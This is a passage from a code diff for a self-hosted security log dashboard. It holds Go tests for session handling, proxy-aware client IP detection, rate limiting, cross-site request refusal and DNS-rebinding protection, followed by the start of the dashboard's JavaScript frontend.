t.Fatalf("a logged out cookie must be dead: %d", w.Code) + } +} + +func TestSessionsAreRevocableAndExpire(t *testing.T) { + s := newSessions() + now := time.Now() + id, _ := s.issue(now) + if !s.valid(id, now.Add(11*time.Hour)) || s.valid(id, now.Add(13*time.Hour)) { + t.Fatal("12h expiry") + } + id2, _ := s.issue(now) + if id == id2 || len(id2) < 40 { + t.Fatal("ids must be long and random") + } + s.revoke(id2) + if s.valid(id2, now) { + t.Fatal("a revoked session must stop working") + } + if newSessions().valid(id, now) { + t.Fatal("a cookie from another process (restart) is not valid") + } + for i := 0; i < maxSessions*3; i++ { + s.issue(now) + } + if len(s.ids) > maxSessions { + t.Fatalf("session table is bounded: %d", len(s.ids)) + } + if tokenEqual("a", "ab") || !tokenEqual("abc", "abc") { + t.Fatal("tokenEqual") + } +} + +func TestClientIP(t *testing.T) { + trusted := mustPrefixes("172.16.0.0/12,10.0.0.0/8,127.0.0.0/8") + r := httptest.NewRequest("GET", "/", nil) + r.RemoteAddr = "198.51.100.1:5" + r.Header.Set("X-Forwarded-For", "1.2.3.4") + if clientIP(r, trusted) != "198.51.100.1" { + t.Fatal("XFF must be ignored from an untrusted peer") + } + r.RemoteAddr = "172.18.0.2:5" + r.Header.Set("X-Forwarded-For", "9.9.9.9, 203.0.113.9") + if clientIP(r, trusted) != "203.0.113.9" { + t.Fatal("the hop added by the trusted proxy is the client; the left side is attacker controlled") + } + r.Header.Set("X-Forwarded-For", "203.0.113.9, 172.18.0.7") + if clientIP(r, trusted) != "203.0.113.9" { + t.Fatal("chained trusted proxies are skipped") + } + r.Header.Set("X-Forwarded-For", "garbage") + if clientIP(r, trusted) != "172.18.0.2" { + t.Fatal("garbage falls back to the proxy address") + } + if clientIP(r, nil) != "172.18.0.2" { + t.Fatal("no trusted proxy: never believe the header") + } +} + +func TestTrafficEndpointAndPrivacy(t *testing.T) { + h, st := setup(t) + st.Traffic(core.Event{Time: time.Now(), IP: "200.1.2.3", Cat: core.OK, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/", Status: 200, + UA: "Mozilla", E: core.Enrich{CC: "BR", Browser: "Firefox", OS: "Linux", Device: "desktop"}}) + auth := map[string]string{"Authorization": "Bearer user-token-0123456789-abcdefghijklmnop"} + if w := do(h, "GET", "/api/v1/traffic", nil, nil); w.Code != 401 { + t.Fatalf("traffic needs auth: %d", w.Code) + } + w := do(h, "GET", "/api/v1/traffic?range=24h&domain=a.example", auth, nil) + if w.Code != 200 || !strings.Contains(w.Body.String(), `"visitors":1`) || !strings.Contains(w.Body.String(), `"BR"`) { + t.Fatalf("traffic %d %s", w.Code, w.Body) + } + if strings.Contains(w.Body.String(), "200.1.2.3") { + t.Fatal("visitor IP in the traffic API") + } + if w := do(h, "GET", "/api/v1/traffic?host=nope", auth, nil); w.Code != 404 { + t.Fatal("unknown host") + } + if w := do(h, "GET", "/world.js", nil, nil); w.Code != 200 || !strings.Contains(w.Header().Get("Content-Type"), "javascript") { + t.Fatalf("world.js %d", w.Code) + } +} + +func mustPrefixes(l string) []netip.Prefix { + p, err := core.ParseCIDRs(l) + if err != nil { + panic(err) + } + return p +} + +func federated(t *testing.T, mod func(*Options)) http.Handler { + st := store.New(store.Config{Name: "oracle", Version: "test"}) + st.Ingest(core.Event{Time: time.Now(), IP: "45.94.31.4", Cat: core.Exploit, Strong: true, Source: "traefik", Method: "GET", Path: "/x"}) + o := Options{Token: "user-token-0123456789-abcdefghijklmnop", PeerTokens: []string{"peer-token-0123456789-abcdefghijklmnopq"}, Version: "test", Store: st, + TrustedProxy: mustPrefixes("172.16.0.0/12")} + if mod != nil { + mod(&o) + } + return New(o) +} + +func TestPeerTokenOnlyOpensExport(t *testing.T) { + h, _ := setup(t) + peer := map[string]string{"Authorization": "Bearer peer-token-0123456789-abcdefghijklmnopq"} + user := map[string]string{"Authorization": "Bearer user-token-0123456789-abcdefghijklmnop"} + for _, p := range []string{"/api/v1/summary", "/api/v1/traffic", "/api/v1/ip/45.94.31.4", "/api/v1/ips", "/api/v1/events/stream", + "/api/v1/blocklist.txt", "/api/v1/blocklist.json"} { + if w := do(h, "GET", p, peer, nil); w.Code != http.StatusForbidden { + t.Errorf("peer token on %s: %d (want 403)", p, w.Code) + } + if w := do(h, "GET", p, nil, nil); w.Code != http.StatusUnauthorized { + t.Errorf("no credential on %s: %d (want 401)", p, w.Code) + } + } + if w := do(h, "GET", "/api/v1/peer/export", nil, nil); w.Code != 401 { + t.Fatalf("export without credential: %d", w.Code) + } + if w := do(h, "GET", "/api/v1/peer/export", user, nil); w.Code != 401 { + t.Fatalf("the user token must not open the export: %d", w.Code) + } + w := do(h, "GET", "/api/v1/peer/export?range=7d", peer, nil) + if w.Code != 200 || !strings.Contains(w.Body.String(), `"v":1`) || !strings.Contains(w.Body.String(), "45.94.31.4") || !strings.Contains(w.Body.String(), `"traffic"`) { + t.Fatalf("export %d %.200s", w.Code, w.Body) + } + // without a peer token configured the route does not exist + h2 := federated(t, func(o *Options) { o.PeerTokens = nil }) + if w := do(h2, "GET", "/api/v1/peer/export", peer, nil); w.Code != 404 { + t.Fatalf("federation disabled: %d", w.Code) + } +} + +func TestPeerAllowAndRealClientIP(t *testing.T) { + peer := map[string]string{"Authorization": "Bearer peer-token-0123456789-abcdefghijklmnopq"} + h := federated(t, func(o *Options) { o.PeerAllow = mustPrefixes("203.0.113.0/24") }) + with := func(remote, xff string) *httptest.ResponseRecorder { + hd := map[string]string{"Authorization": peer["Authorization"], "X-Remote": remote} + if xff != "" { + hd["X-Forwarded-For"] = xff + } + return do(h, "GET", "/api/v1/peer/export", hd, nil) + } + if w := with("198.51.100.9:1", ""); w.Code != 403 { + t.Fatalf("outside the allow list: %d", w.Code) + } + if w := with("203.0.113.8:1", ""); w.Code != 200 { + t.Fatalf("inside the allow list: %d", w.Code) + } + if w := with("198.51.100.9:1", "203.0.113.8"); w.Code != 403 { + t.Fatalf("forged XFF from an untrusted source must not pass: %d", w.Code) + } + if w := with("172.18.0.2:1", "203.0.113.8"); w.Code != 200 { + t.Fatalf("XFF from the trusted proxy is the real client: %d", w.Code) + } + if w := with("172.18.0.2:1", "198.51.100.77"); w.Code != 403 { + t.Fatalf("real client outside the list behind the proxy: %d", w.Code) + } + if w := with("172.18.0.2:1", "203.0.113.8, 198.51.100.77"); w.Code != 403 { + t.Fatalf("the proxy appended the real client on the right: %d", w.Code) + } +} + +func TestLoginRateLimitUsesRealClientBehindProxy(t *testing.T) { + loginBlockedDelay = 0 + h := federated(t, nil) + bad := url.Values{"token": {"nope"}} + post := func(xff string, form url.Values) *httptest.ResponseRecorder { + return do(h, "POST", "/login", map[string]string{"X-Remote": "172.18.0.2:5000", "X-Forwarded-For": xff}, form) + } + for i := 0; i < 5; i++ { + post("203.0.113.1", bad) + } + if w := post("203.0.113.1", bad); w.Code != http.StatusTooManyRequests { + t.Fatalf("the attacker is rate limited: %d", w.Code) + } + // everyone else behind the same Traefik can still fail and succeed + if w := post("203.0.113.2", bad); w.Code != 303 { + t.Fatalf("another client behind the same proxy must not be blocked: %d", w.Code) + } + // a fake hop on the left (attacker controlled) does not reset the limit + if w := post("1.1.1.1, 203.0.113.1", bad); w.Code != http.StatusTooManyRequests { + t.Fatalf("spoofed left hop must not reset the limit: %d", w.Code) + } +} + +func TestLimiterAggregatesIPv6By64AndFailsClosedWhenFull(t *testing.T) { + l := newLimiter() + for i := 0; i < 5; i++ { + l.failure(fmt.Sprintf("2001:db8:0:9:%x::1", i+1)) // five addresses of one /64 + } + if l.blocked("2001:db8:0:9:ffff::7") == 0 { + t.Fatal("the whole /64 must share one budget") + } + if l.blocked("2001:db8:0:a::1") != 0 { + t.Fatal("another /64 is unaffected") + } + // a full table evicts the oldest entry, not everything + l2 := newLimiter() + base := time.Now() + l2.now = func() time.Time { base = base.Add(time.Millisecond); return base } + for i := 0; i < 5; i++ { + l2.failure("9.9.9.9") + } + for i := 0; i < maxLimiterIP+50; i++ { + l2.failure(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255)) + } + if len(l2.fail) > maxLimiterIP { + t.Fatalf("limiter table unbounded: %d", len(l2.fail)) + } + if l2.blocked("10.0.1.200") != 0 && len(l2.fail) == 0 { + t.Fatal("never forget everybody at once") + } +} + +func TestBearerGuessingOnTheAPICountsAndBlocks(t *testing.T) { + h := federated(t, nil) + var last int + for i := 0; i < 8; i++ { + last = do(h, "GET", "/api/v1/summary", map[string]string{"Authorization": "Bearer guess" + fmt.Sprint(i)}, nil).Code + } + if last != http.StatusTooManyRequests { + t.Fatalf("guessing the token on the API must end in 429, got %d", last) + } + if w := do(h, "GET", "/api/v1/summary", map[string]string{"Authorization": "Bearer user-token-0123456789-abcdefghijklmnop"}, nil); w.Code != 200 { + t.Fatalf("the right token still works from a blocked address: %d", w.Code) + } +} + +func TestCrossSiteFormPostsAreRefused(t *testing.T) { + h := federated(t, nil) + form := url.Values{"token": {"user-token-0123456789-abcdefghijklmnop"}} + for name, hd := range map[string]map[string]string{ + "sec-fetch-site": {"Sec-Fetch-Site": "cross-site"}, + "foreign origin": {"Origin": "https://evil.example"}, + "null origin": {"Origin": "null"}, + } { + for _, p := range []string{"/login", "/logout"} { + if w := do(h, "POST", p, hd, form); w.Code != http.StatusForbidden || w.Header().Get("Set-Cookie") != "" { + t.Errorf("%s %s: %d", name, p, w.Code) + } + } + } + r := httptest.NewRequest("POST", "/login", strings.NewReader(form.Encode())) + r.Host = "urutau.example.org" + r.RemoteAddr = "198.51.100.5:1" + r.Header.Set("Content-Type", "application/x-www-form-urlencoded") + r.Header.Set("Origin", "https://urutau.example.org") + r.Header.Set("Sec-Fetch-Site", "same-origin") + w := httptest.NewRecorder() + h.ServeHTTP(w, r) + if w.Code != 303 || w.Header().Get("Location") != "/" { + t.Fatalf("same-origin login must work: %d %s", w.Code, w.Header().Get("Location")) + } + // Chrome sends "Origin: null" for a same-origin POST under some referrer policies + r2 := httptest.NewRequest("POST", "/login", strings.NewReader(form.Encode())) + r2.RemoteAddr = "198.51.100.6:1" + r2.Header.Set("Content-Type", "application/x-www-form-urlencoded") + r2.Header.Set("Origin", "null") + r2.Header.Set("Sec-Fetch-Site", "same-origin") + w2 := httptest.NewRecorder() + h.ServeHTTP(w2, r2) + if w2.Code != 303 || w2.Header().Get("Location") != "/" { + t.Fatalf("same-origin POST with a null Origin must work: %d", w2.Code) + } +} + +func TestInsecureNoAuthRefusesForeignHostHeaders(t *testing.T) { + st := store.New(store.Config{Name: "x"}) + h := New(Options{NoAuth: true, Store: st, AllowHosts: []string{"127.0.0.1"}}) + get := func(host string) int { + r := httptest.NewRequest("GET", "/api/v1/summary", nil) + r.Host = host + w := httptest.NewRecorder() + h.ServeHTTP(w, r) + return w.Code + } + for _, ok := range []string{"localhost", "localhost:8790", "127.0.0.1:8790", "[::1]:8790", "127.0.0.1"} { + if c := get(ok); c != 200 { + t.Errorf("%s: %d", ok, c) + } + } + for _, bad := range []string{"evil.example", "evil.example:8790", "127.0.0.1.evil.example", "192.168.1.5"} { + if c := get(bad); c != 403 { + t.Errorf("DNS rebinding host %q accepted: %d", bad, c) + } + } +} + +func TestLoginBodyLimitAndServerLimits(t *testing.T) { + h := federated(t, nil) + big := url.Values{"token": {strings.Repeat("a", 20000)}} + if w := do(h, "POST", "/login", nil, big); w.Code != http.StatusBadRequest { + t.Fatalf("oversized login body: %d", w.Code) + } + if w := do(h, "GET", "/api/health", nil, nil); strings.Contains(w.Body.String(), "version") { + t.Fatal("/api/health must not expose the version") + } + srv := HTTPServer(h, context.Background()) + if srv.ReadHeaderTimeout <= 0 || srv.ReadTimeout <= 0 || srv.WriteTimeout <= 0 || srv.IdleTimeout <= 0 || srv.MaxHeaderBytes <= 0 || srv.MaxHeaderBytes > 64<<10 { + t.Fatalf("server limits not set: %+v", srv) + } +} + +func TestSSEClientLimit(t *testing.T) { + ts := httptest.NewServer(federated(t, nil)) + defer ts.Close() + var open []*http.Response + defer func() { + for _, r := range open { + r.Body.Close() + } + }() + get := func() *http.Response { + req, _ := http.NewRequest("GET", ts.URL+"/api/v1/events/stream", nil) + req.Header.Set("Authorization", "Bearer user-token-0123456789-abcdefghijklmnop") + resp, err := http.DefaultClient.Do(req) + if err != nil { + t.Fatal(err) + } + return resp + } + for i := 0; i < maxSSE; i++ { + r := get() + if r.StatusCode != 200 { + t.Fatalf("stream %d: %d", i, r.StatusCode) + } + open = append(open, r) + } + over := get() + over.Body.Close() + if over.StatusCode != http.StatusServiceUnavailable { + t.Fatalf("stream over the limit: %d", over.StatusCode) + } + open[0].Body.Close() + deadline := time.Now().Add(3 * time.Second) + for time.Now().Before(deadline) { + r := get() + if r.StatusCode == 200 { + open = append(open, r) + return + } + r.Body.Close() + time.Sleep(50 * time.Millisecond) + } + t.Fatal("a closed stream must free its slot") +} diff --git a/internal/server/web/app.js b/internal/server/web/app.js new file mode 100644 index 0000000..369c3fa --- /dev/null +++ b/internal/server/web/app.js @@ -0,0 +1,714 @@ +(function () { + 'use strict'; + var D = window.URUTAU_I18N; + var $ = function (s, r) { return (r || document).querySelector(s); }; + function lsGet(k) { try { return localStorage.getItem(k); } catch (e) { return null; } } + function lsSet(k, v) { try { localStorage.setItem(k, v); } catch (e) { /* ignore */ } } + + var lang = lsGet('urutau.lang') || ((navigator.language || 'en').toLowerCase().indexOf('pt') === 0 ? 'pt-BR' : 'en'); + if (!D[lang]) lang = 'en'; + var theme = lsGet('urutau.theme'); + if (theme === 'light' || theme === 'dark') document.documentElement.setAttribute('data-theme', theme); + + function t(key, n) { + var s = D[lang][key] || D.en[key] || key; + return n === undefined ? s : s.replace('{n}', n); + } + function nf(n) { return new Intl.NumberFormat(lang).format(n); } + + var CHART_CATS = ['notfound', 'scanner', 'bruteforce', 'exploit', 'ssh-fail', 'ssh-probe', 'ban']; + var state = { + host: lsGet('urutau.host') || 'all', range: lsGet('urutau.range') || '24h', + sort: 'score', order: 'desc', page: 1, per: 25, q: '', level: '', banned: false, + hidden: {}, summary: null, ipsTotal: 0, live: [], + tab: lsGet('urutau.tab') === 'traffic' ? 'traffic' : 'threats', domain: 'all', traffic: null + }; + if (['1h', '24h', '7d'].indexOf(state.range) < 0) state.range = '24h'; + + // All dynamic text goes through textContent: log data is hostile. + function el(tag, cls, text) { + var e = document.createElement(tag); + if (cls) e.className = cls; + if (text !== undefined && text !== null) e.textContent = text; + return e; + } + function svgEl(tag, attrs) { + var e = document.createElementNS('http://www.w3.org/2000/svg', tag); + for (var k in attrs) e.setAttribute(k, attrs[k]); + return e; + } + function clear(n) { while (n.firstChild) n.removeChild(n.firstChild); } + + function flag(cc) { + if (!cc || cc.length !== 2) return ''; + return cc.toUpperCase().replace(/./g, function (c) { return String.fromCodePoint(127397 + c.charCodeAt(0)); }); + } + var regionNames = null, regionLang = ''; + function countryName(cc) { + try { + if (!regionNames || regionLang !== lang) { regionNames = new Intl.DisplayNames([lang], { type: 'region' }); regionLang = lang; } + return regionNames.of(cc.toUpperCase()) || cc; + } catch (e) { return cc; } + } + function fmtBytes(n) { + var u = ['B', 'KB', 'MB', 'GB', 'TB'], i = 0; + while (n >= 1024 && i < u.length - 1) { n /= 1024; i++; } + return new Intl.NumberFormat(lang, { maximumFractionDigits: n < 10 && i > 0 ? 1 : 0 }).format(n) + ' ' + u[i]; + } + // Class names are built from whitelists only: peers send these values. + var KNOWN_CATS = ['ok', 'notfound', 'scanner', 'exploit', 'bruteforce', 'ssh-fail', 'ssh-probe', 'ssh-ok', 'ban']; + var KNOWN_STATES = ['following', 'waiting', 'backfill', 'error', 'disabled']; + var KNOWN_LEVELS = ['hostile', 'suspicious', 'low']; + function pick(list, v, fallback) { return list.indexOf(v) >= 0 ? v : fallback; } + function ago(ts) { + if (!ts) return t('never'); + var s = Math.max(0, Math.floor(Date.now() / 1000 - ts)); + if (s < 5) return t('ago.now'); + if (s < 60) return t('ago.s', s); + if (s < 3600) return t('ago.m', Math.floor(s / 60)); + if (s < 86400) return t('ago.h', Math.floor(s / 3600)); + return t('ago.d', Math.floor(s / 86400)); + } + function clock(ts) { return new Date(ts * 1000).toLocaleTimeString(lang, { hour: '2-digit', minute: '2-digit', second: '2-digit' }); } + + function api(path) { + return fetch(path, { credentials: 'same-origin', headers: { Accept: 'application/json' } }).then(function (r) { + if (r.status === 401) { location.href = '/login'; throw new Error('unauthorized'); } + if (!r.ok) throw new Error('HTTP ' + r.status); + return r.json(); + }); + } + function qs(extra) { + var p = new URLSearchParams({ host: state.host, range: state.range }); + for (var k in extra) p.set(k, extra[k]); + return p.toString(); + } + + // ---------------------------------------------------------------- i18n + function applyI18n() { + document.documentElement.lang = lang; + document.querySelectorAll('[data-i18n]').forEach(function (n) { n.textContent = t(n.getAttribute('data-i18n')); }); + document.querySelectorAll('[data-i18n-ph]').forEach(function (n) { n.setAttribute('placeholder', t(n.getAttribute('data-i18n-ph'))); }); + document.querySelectorAll('[data-i18n-aria]').forEach(function (n) { n.setAttribute('aria-label', t(n.getAttribute('data-i18n-aria'))); }); + document.querySelectorAll('[data-i18n-title]').forEach(function (n) { n.setAttribute('title', t(n.getAttribute('data-i18n-title'))); }); + $('#lang').textContent = lang === 'en' ? 'PT' : 'EN'; + renderAll(); + } + + // ---------------------------------------------------------------- render + function kpi(cls, value, label) { + var d = el('div', 'panel kpi ' + cls); + d.appendChild(el('div', 'v', nf(value))); + d.appendChild(el('div', 'l', label)); + return d; + } + function renderKpis() { + var s = state.summary, box = $('#kpis'); + clear(box); + if (!s) return; + var T = s.totals; + box.appendChild(kpi('', T.requests, t('kpi.requests'))); + box.appendChild(kpi('', T.malicious, t('kpi.malicious'))); + box.appendChild(kpi(T.hostile_ips > 0 ? 'hot' : '', T.hostile_ips, t('kpi.hostile'))); + box.appendChild(kpi(T.suspicious_ips > 0 ? 'warn' : '', T.suspicious_ips, t('kpi.suspicious'))); + box.appendChild(kpi('', T.active_bans, t('kpi.bans'))); + box.appendChild(kpi('', T.unique_ips, t('kpi.ips'))); + $('#monitoring').textContent = T.monitoring ? t('kpi.monitoring', nf(T.monitoring)) : ''; + } + + function renderLegend() { + var box = $('#legend'); + clear(box); + CHART_CATS.forEach(function (c) { + var b = el('button'); + b.type = 'button'; + b.setAttribute('aria-pressed', state.hidden[c] ? 'false' : 'true'); + b.appendChild(el('span', 'sw b-' + c)); + b.appendChild(el('span', '', t('cat.' + c))); + b.addEventListener('click', function () { state.hidden[c] = !state.hidden[c]; renderLegend(); drawChart(); }); + box.appendChild(b); + }); + } + + function niceMax(v) { + var raw = Math.max(v, 4) / 4, p = Math.pow(10, Math.floor(Math.log10(raw))), m = raw / p; + return (m <= 1 ? 1 : m <= 2 ? 2 : m <= 5 ? 5 : 10) * p * 4; + } + function tickLabel(ts) { + var d = new Date(ts * 1000); + if (state.range === '7d') return d.toLocaleDateString(lang, { month: 'short', day: 'numeric' }); + return d.toLocaleTimeString(lang, { hour: '2-digit', minute: '2-digit' }); + } + + function drawChart() { + var wrap = $('#chart'); + clear(wrap); + var s = state.summary; + if (!s) return; + var tl = s.timeline, n = (tl.series.ok || []).length; + var W = Math.max(280, wrap.clientWidth), H = 230, L = 38, R = 6, Tp = 8, B = 22; + var cats = CHART_CATS.filter(function (c) { return !state.hidden[c]; }); + var tot = [], max = 0, i; + for (i = 0; i < n; i++) { + var sum = 0; + cats.forEach(function (c) { sum += tl.series[c][i]; }); + tot.push(sum); + if (sum > max) max = sum; + } + var top = niceMax(max), ph = H - Tp - B, bw = (W - L - R) / n; + var svg = svgEl('svg', { viewBox: '0 0 ' + W + ' ' + H, role: 'img', 'aria-label': t('timeline.title') }); + for (i = 0; i <= 4; i++) { + var y = Tp + ph - (ph * i / 4); + svg.appendChild(svgEl('line', { x1: L, x2: W - R, y1: y, y2: y, 'class': 'gridline' })); + var lab = svgEl('text', { x: L - 5, y: y + 3, 'text-anchor': 'end', 'class': 'axis' }); + lab.textContent = nf(Math.round(top * i / 4)); + svg.appendChild(lab); + } + var nt = W < 520 ? 3 : 5; + for (i = 0; i < nt; i++) { + var idx = Math.round((n - 1) * i / (nt - 1)); + var xl = svgEl('text', { x: L + bw * idx + bw / 2, y: H - 6, 'text-anchor': i === 0 ? 'start' : i === nt - 1 ? 'end' : 'middle', 'class': 'axis' }); + xl.textContent = tickLabel(tl.start + idx * tl.step); + svg.appendChild(xl); + } + var tip = el('div', 'tip'); + tip.hidden = true; + function showTip(ix, x) { + clear(tip); + tip.appendChild(el('strong', '', new Date((tl.start + ix * tl.step) * 1000).toLocaleString(lang, { month: 'short', day: 'numeric', hour: '2-digit', minute: '2-digit' }))); + CHART_CATS.forEach(function (c) { + var v = tl.series[c][ix]; + if (!v) return; + var r = el('div'); + r.appendChild(el('span', '', t('cat.' + c))); + r.appendChild(el('span', 'num', nf(v))); + tip.appendChild(r); + }); + tip.hidden = false; + tip.style.left = Math.max(0, Math.min(x, W - 160)) + 'px'; + tip.style.top = '4px'; + } + for (i = 0; i < n; i++) { + var yb = Tp + ph; + for (var k = 0; k < cats.length; k++) { + var v = tl.series[cats[k]][i]; + if (!v) continue; + var h = Math.max(1, v / top * ph); + yb -= h; + svg.appendChild(svgEl('rect', { x: L + bw * i + (bw > 3 ? 0.5 : 0), y: yb, width: Math.max(1, bw - (bw > 3 ? 1 : 0)), height: h, 'class': 'b-' + cats[k] })); + } + } + (function (tl2) { + for (var j = 0; j < n; j++) { + (function (j) { + var r = svgEl('rect', { x: L + bw * j, y: Tp, width: bw, height: ph, 'class': 'hover-col' }); + r.addEventListener('mouseenter', function () { showTip(j, L + bw * j + 14); }); + r.addEventListener('click', function () { showTip(j, L + bw * j + 14); }); + svg.appendChild(r); + })(j); + } + })(tl); + svg.addEventListener('mouseleave', function () { tip.hidden = true; }); + wrap.appendChild(svg); + wrap.appendChild(tip); + if (max === 0) { + var e = svgEl('text', { x: W / 2, y: H / 2, 'text-anchor': 'middle', 'class': 'axis' }); + e.textContent = t('timeline.empty'); + svg.appendChild(e); + } + } + + function levelBadge(l) { l = pick(KNOWN_LEVELS, l, 'low'); return el('span', 'badge lv-' + l, t('level.' + l)); } + + function renderIPs(items) { + var tb = $('#ips tbody'); + clear(tb); + if (!items.length) { + var tr0 = el('tr'), td0 = el('td', 'empty', t('ips.empty')); + td0.colSpan = 7; + tr0.appendChild(td0); + tb.appendChild(tr0); + } + items.forEach(function (x) { + var tr = el('tr', 'row'); + tr.tabIndex = 0; + tr.setAttribute('role', 'button'); + function cell(label, node) { var td = el('td'); td.setAttribute('data-label', label); td.appendChild(node); tr.appendChild(td); } + var ipc = el('span'); + ipc.appendChild(el('span', 'mono', x.ip)); + if (state.summary && state.summary.hosts.length > 1) ipc.appendChild(el('small', '', (x.hosts || []).join(', '))); + cell(t('col.ip'), ipc); + cell(t('col.score'), el('span', 'num', String(x.score))); + cell(t('col.level'), levelBadge(x.level)); + var chips = el('span'); + var kinds = Object.keys(x.counts).filter(function (c) { return c !== 'ok' && c !== 'ssh-ok' && KNOWN_CATS.indexOf(c) >= 0; }) + .sort(function (a, b) { return x.counts[b] - x.counts[a]; }); + kinds.slice(0, 2).forEach(function (c) { chips.appendChild(el('span', 'chip', t('cat.' + c) + ' ' + nf(x.counts[c]))); }); + if (kinds.length > 2) chips.appendChild(el('span', 'chip', '+' + (kinds.length - 2))); + cell(t('col.cats'), chips); + var org = el('span', 'origin'); + if (x.cc) org.textContent = flag(x.cc) + ' ' + (x.city ? x.city + ', ' : '') + (x.country || countryName(x.cc)); + else org.textContent = '-'; + // one line, ellipsis; the rest on hover + var tip = [x.asn ? 'AS' + x.asn + (x.as_org ? ' ' + x.as_org : '') : '', x.rdns || ''].filter(Boolean); + if (x.cc) tip.unshift(org.textContent); + if (tip.length) org.title = tip.join('\n'); + cell(t('col.origin'), org); + cell(t('col.last'), el('span', '', ago(x.last))); + cell(t('col.banned'), x.banned ? el('span', 'banned', (x.jails || []).join(', ') || t('yes')) : el('span', '', '-')); + tr.addEventListener('click', function () { openDetail(x.ip); }); + tr.addEventListener('keydown', function (ev) { if (ev.key === 'Enter' || ev.key === ' ') { ev.preventDefault(); openDetail(x.ip); } }); + tb.appendChild(tr); + }); + $('#count').textContent = t('pager.count', nf(state.ipsTotal)); + $('#prev').disabled = state.page <= 1; + $('#next').disabled = state.page * state.per >= state.ipsTotal; + } + + function renderTop(id, rows, mono) { + var box = $(id); + clear(box); + if (!rows || !rows.length) { box.appendChild(el('div', 'empty', t('top.empty'))); return; } + var max = rows[0].n || 1; + rows.slice(0, 10).forEach(function (r) { + var d = el('div', 'bar-row'); + d.appendChild(el('span', 'k' + (mono ? ' mono' : ''), r.key)); + d.appendChild(el('span', 'n', nf(r.n))); + if (r.label) d.appendChild(el('span', 'sub', r.label)); + var bar = el('div', 'bar'), i = el('i'); + i.style.width = Math.max(2, r.n / max * 100) + '%'; + bar.appendChild(i); + d.appendChild(bar); + box.appendChild(d); + }); + } + + function eventText(e) { + if (e.source === 'traefik') return (e.method || '') + ' ' + (e.domain || '') + (e.path || '') + (e.forged ? ' [' + t('feed.forged') + ']' : ''); + if (e.source === 'ssh') return e.user ? 'ssh user ' + e.user : 'ssh'; + if (e.source === 'fail2ban') return 'fail2ban [' + (e.jail || '') + ']'; + return ''; + } + function renderFeed() { + var box = $('#feed'); + clear(box); + var seen = {}, list = []; + var rec = state.summary ? state.summary.recent || [] : []; + state.live.concat(rec).forEach(function (e) { + if (state.host !== 'all' && e.host !== state.host) return; + var key = e.t + '|' + e.ip + '|' + e.cat + '|' + (e.path || e.user || e.jail || ''); + if (seen[key]) return; + seen[key] = 1; + list.push(e); + }); + list.sort(function (a, b) { return b.t - a.t; }); + list = list.slice(0, 100); + if (!list.length) { box.appendChild(el('li', 'empty', t('feed.empty'))); return; } + list.forEach(function (e) { + var li = el('li'); + li.appendChild(el('span', 't', clock(e.t))); + if (e.forged) li.title = t('feed.forged'); + var ecat = pick(KNOWN_CATS, e.cat, 'ok'); + li.appendChild(el('span', 'cat b-' + ecat, e.unban ? t('feed.unban') : t('cat.' + ecat))); + var b = el('button', 'linkish mono', e.ip); + b.type = 'button'; + b.addEventListener('click', function () { openDetail(e.ip); }); + li.appendChild(b); + if (e.cc) b.textContent = flag(e.cc) + ' ' + e.ip; + li.appendChild(el('span', 'what', (e.host ? '[' + e.host + '] ' : '') + eventText(e))); + box.appendChild(li); + }); + } + + function renderHosts() { + var s = state.summary, box = $('#hosts'), sel = $('#host'); + if (!s) return; + clear(box); + (s.hosts || []).forEach(function (h) { + var c = el('div', 'host'); + var hd = el('h3'); + hd.appendChild(el('span', 'dot ' + (h.online ? 'on' : 'off'))); + hd.appendChild(el('span', '', h.name)); + c.appendChild(hd); + c.appendChild(el('div', 'meta', h.online ? t('host.online') + (h.version ? ' · ' + h.version : '') : t('host.offline') + (h.error ? ' · ' + h.error : ''))); + var dl = el('dl'); + [['host.requests', h.requests], ['host.malicious', h.malicious], ['host.hostile', h.hostile_ips], ['host.bans', h.active_bans]].forEach(function (p) { + dl.appendChild(el('dt', '', t(p[0]))); + dl.appendChild(el('dd', '', nf(p[1] || 0))); + }); + if (h.latency_ms) { dl.appendChild(el('dt', '', t('host.latency'))); dl.appendChild(el('dd', '', h.latency_ms + ' ms')); } + c.appendChild(dl); + box.appendChild(c); + }); + var want = (s.hosts || []).map(function (h) { return h.name; }).join('|'); + if (sel.getAttribute('data-hosts') !== want + '|' + lang) { + clear(sel); + var o = el('option', '', t('host.all')); + o.value = 'all'; + sel.appendChild(o); + (s.hosts || []).forEach(function (h) { var op = el('option', '', h.name); op.value = h.name; sel.appendChild(op); }); + sel.setAttribute('data-hosts', want + '|' + lang); + } + sel.value = state.host; + sel.hidden = (s.hosts || []).length < 2; + + var tb = $('#sources tbody'); + clear(tb); + (s.sources || []).forEach(function (r) { + var tr = el('tr'); + function cell(label, text, cls) { var td = el('td'); td.setAttribute('data-label', label); td.appendChild(el('span', cls || '', text)); tr.appendChild(td); } + cell(t('col.host'), r.host || ''); + cell(t('col.source'), r.name); + var rs = pick(KNOWN_STATES, r.state, 'error'); + cell(t('col.state'), t('state.' + rs) + (r.error ? ' (' + r.error + ')' : ''), 'st-' + rs); + cell(t('col.lines'), nf(r.lines), 'num'); + cell(t('col.malformed'), nf(r.malformed), 'num'); + cell(t('col.lastEvent'), ago(r.last_event)); + tb.appendChild(tr); + }); + $('#ver').textContent = s.version ? 'v' + s.version : ''; + $('#attrib').textContent = s.attribution || ''; + } + + function renderAll() { + var s = state.summary; + renderKpis(); renderLegend(); drawChart(); renderHosts(); renderFeed(); + if (s) { + renderTop('#top-paths', s.top_paths, true); + renderTop('#top-domains', s.top_domains, true); + renderTop('#top-uas', s.top_uas, false); + renderTop('#top-users', s.top_users, true); + renderMap('#map-threats', '#maplist-threats', s.countries, false); + } + if (state.traffic) renderTraffic(); + if (state.ipItems) renderIPs(state.ipItems); + document.querySelectorAll('#range button').forEach(function (b) { b.setAttribute('aria-pressed', b.getAttribute('data-range') === state.range ? 'true' : 'false'); }); + updateBlocklistLink(); + } + + // ---------------------------------------------------------------- data + var inflight = false; + function refresh() { + if (inflight) return; + inflight = true; + var jobs = [api('/api/v1/summary?' + qs({}))]; + if (state.tab === 'traffic') { + jobs.push(api('/api/v1/traffic?' + qs({ domain: state.domain }))); + } else { + jobs.push(api('/api/v1/ips?' + qs({ sort: state.sort, order: state.order, page: state.page, per: state.per, q: state.q, level: state.level, banned: state.banned ? '1' : '0' }))); + } + Promise.all(jobs).then(function (r) { + state.summary = r[0]; + if (state.tab === 'traffic') state.traffic = r[1]; + else { state.ipItems = r[1].items; state.ipsTotal = r[1].total; } + $('#err').hidden = true; + renderAll(); + }).catch(function (e) { + if (String(e.message) === 